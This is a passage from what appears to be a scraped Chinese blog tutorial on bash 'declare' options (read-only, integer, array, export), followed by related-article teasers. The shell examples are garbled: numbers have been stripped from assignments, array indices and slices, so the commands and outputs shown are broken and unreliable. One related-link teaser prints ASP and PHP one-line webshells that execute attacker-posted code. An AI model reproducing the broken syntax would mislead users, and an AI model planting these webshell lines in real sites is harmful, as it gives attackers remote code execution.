shell编程系列4--有类型变量:字符串、只读类型、整数、数组

有类型变量总结:

declare命令和typeset命令两者等价

declare、typeset命令都是用来定义变量类型的

declare命令参数总结

.declare -r 将变量设置为只读类型
declare -r var="hello"
var="world" # 变量默认可以修改
[root@es01 shell]# var2="hello world"
[root@es01 shell]# var2="hello python"
[root@es01 shell]# echo $var2
hello python # 声明为只读变量,就不可修改
[root@es01 shell]# declare -r var2
[root@es01 shell]# var2="hello java"
-bash: var2: readonly variable . declare -i 将变量设为整数
# 默认把变量当做字符处理
[root@es01 shell]# num1=
[root@es01 shell]# num2=$num1+
[root@es01 shell]# echo $num2
+ # 声明为整数
[root@es01 shell]# declare -i num3
[root@es01 shell]# num3=$num1+
[root@es01 shell]# echo $num3 .declare -a 将变量定义为数组 # 定义数组
[root@es01 shell]# declare -a array
[root@es01 shell]# array=("jones" "make" "kobe" "jordan") # 列出数组所有元素
[root@es01 shell]# echo ${array[@]}
jones make kobe jordan
[root@es01 shell]# echo ${array[]}
make
[root@es01 shell]# echo ${array[]}
jones
[root@es01 shell]# echo ${array[]}
kobe # 数组长度
[root@es01 shell]# echo ${#array[@]} # 输出数组中元素长度
[root@es01 shell]# echo ${#array[]} [root@es01 shell]# echo ${#array[]} -f 显示此脚本前定义过的所有函数和内容
-F 进显示脚本前定义过的函数名 数组常用的方法(仅供参考,实际生产用的少) array=("jones" "mike" "kobe" "jordan")
输出数组内容:
echo ${array[@]} 输出全部内容
echo ${array[]} 输出下标索引为1的内容 获取数组长度:
echo ${#array} 数组内元素个数
echo ${#array[]} 数组内下标索引为2的元素长度 给数组某个下标赋值:
array[]="lily" 给数组下标索引为1的元素赋值为lily
array[]="hanmeimei" 在数组尾部添加一个新元素 删除元素:
unset array[] 清空元素
unset array 清空整个数组 分片访问:
${array[@]::} 显示数组下标索引从1开始到3的3个元素 内容替换:
${array[@]/an/AN} 将数组中所有元素包含an的子串替换为AN 数组遍历:
for v in ${array[@]}
do
echo $v
done .declare -x 将变量声明为环境变量 [root@es01 shell]# num5=
[root@es01 shell]# echo $num5 [root@es01 shell]# vim test1.sh
[root@es01 shell]# cat test1.sh
#!/bin/bash
# echo $num5 # 在脚本中直接使用shell环境中定义的变量是无法引用的
[root@es01 shell]# sh test1.sh # 当使用declare -x 变量后,就可以直接在脚本中引用了
[root@es01 shell]# declare -x num5
[root@es01 shell]# sh test1.sh declare +r 取消一个变量

shell编程系列4--有类型变量:字符串、只读类型、整数、数组的更多相关文章

  1. shell编程系列21--文本处理三剑客之awk中数组的用法及模拟生产环境数据统计

    shell编程系列21--文本处理三剑客之awk中数组的用法及模拟生产环境数据统计 shell中的数组的用法: shell数组中的下标是从0开始的 array=("Allen" & ...

  2. shell编程系列19--文本处理三剑客之awk中的字符串函数

    shell编程系列19--文本处理三剑客之awk中的字符串函数 字符串函数对照表(上) 函数名 解释 函数返回值 length(str) 计算字符串长度 整数长度值 index(str1,str2) ...

  3. (C#)Windows Shell 编程系列3 - 上下文菜单(iContextMenu)(一)右键菜单

    原文 (C#)Windows Shell 编程系列3 - 上下文菜单(iContextMenu)(一)右键菜单 接上一节:(C#)Windows Shell 编程系列2 - 解释,从“桌面”开始展开这 ...

  4. shell编程系列26--大型脚本工具开发实战

    shell编程系列26--大型脚本工具开发实战 大型脚本工具开发实战 拆分脚本功能,抽象函数 .function get_all_group 返回进程组列表字符串 .function get_all_ ...

  5. shell编程系列16--文本处理三剑客之awk模式匹配的两种方法

    shell编程系列16--文本处理三剑客之awk模式匹配的两种方法 awk的工作模式 第一种模式匹配:RegExp 第二种模式匹配:关系运算匹配 用法格式对照表 语法格式 含义 RegExp 按正则表 ...

  6. shell编程系列15--文本处理三剑客之awk格式化输出printf

    shell编程系列15--文本处理三剑客之awk格式化输出printf printf的格式说明符 格式符 含义 %s 打印字符串 %d 打印十进制数 %f 打印一个浮点数 %x 打印十六进制数 %o ...

  7. shell编程系列9--文本处理三剑客之sed概述及常见用法总结

    shell编程系列9--文本处理三剑客之sed概述及常见用法总结 sed的工作模式:对文本的行数据一行行处理,如下图 sed(stream editor),是流编辑器,依据特定的匹配模式,对文本逐行匹 ...

  8. shell编程系列6--shell中的函数

    shell编程系列6--shell中的函数 .函数介绍 linux shell中的函数和大多数编程语言中的函数一样 将相似的任务或者代码封装到函数中,供其他地方调用 语法格式 第一种格式 name() ...

  9. shell编程系列2--字符串的处理

    shell编程系列2--字符串的处理 字符串的处理 .计算字符串的长度 方法1 ${#string} 方法2 expr length "$string" (如果string中间有空 ...

随机推荐

  1. 利用Python openpyxl操作Excel

    from IPython.core.interactiveshell import InteractiveShell InteractiveShell.ast_node_interactivity = ...

  2. 简单的一句话木马(asp aspx php)

    一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...

  3. 爬虫(二)-创建项目&应用

    一.回顾 上篇已经讲解了python-django的环境搭建,本次将继续上次的课程,开始创建项目及应用. 上篇的验证结果为: 本次将加上创建应用之后浏览器打开演示~ 二.创建项目 1)使用django ...

  4. vue 关于props 父组件传值

    swiper.vue  子组件 info.vue 父组件 swiper.vue<template> <div class="swiper-wrap" @mouse ...

  5. python算法与数据结构-算法介绍(31)

    一.算法和数据结构 什么是算法和数据结构?如果将最终写好运行的程序比作战场,我们程序员便是指挥作战的将军,而我们所写的代码便是士兵和武器. 那么数据结构和算法是什么?答曰:兵法!故,数据结构和算法是一 ...

  6. 牛客NOIP暑期七天营-提高组1 解题报告

    https://ac.nowcoder.com/acm/contest/920#question A 构造+双指针 发现m的限制是1e5,而点数是5e4,所以不能构造太多的边,思考一下最短路树的定义. ...

  7. JVM那些事儿之内存区域

    相信绝大多数java开发者或多或少的都应该知道jvm,但是有多少人又深入去了解过,笔者深感自身能力的不足,去看了些资料,觉得还是有必要整理下自己的学习记录,时常回头看看,多看多实践提升自己的能力,故开 ...

  8. keras模块学习之-目标函数(objectives)笔记

    本笔记由博客园-圆柱模板 博主整理笔记发布,转载需注明,谢谢合作! 目标函数又称损失函数(loss),目的是计算神经网络的输出与样本标记的差的一种方法,如: model = Sequential() ...

  9. Hdfs的HA高可用

    1.Hdfs的HA高可用:保证Hdfs高可用,其实就是保证namenode的高可用,保证namenode的高可用的机制有两个,editlog共享机制+ZKFC.ZKFC就是ZookeeperFailO ...

  10. COM Error Code(HRESULT)部分摘录

    Return value/code Description 0x00030200 STG_S_CONVERTED The underlying file was converted to compou ...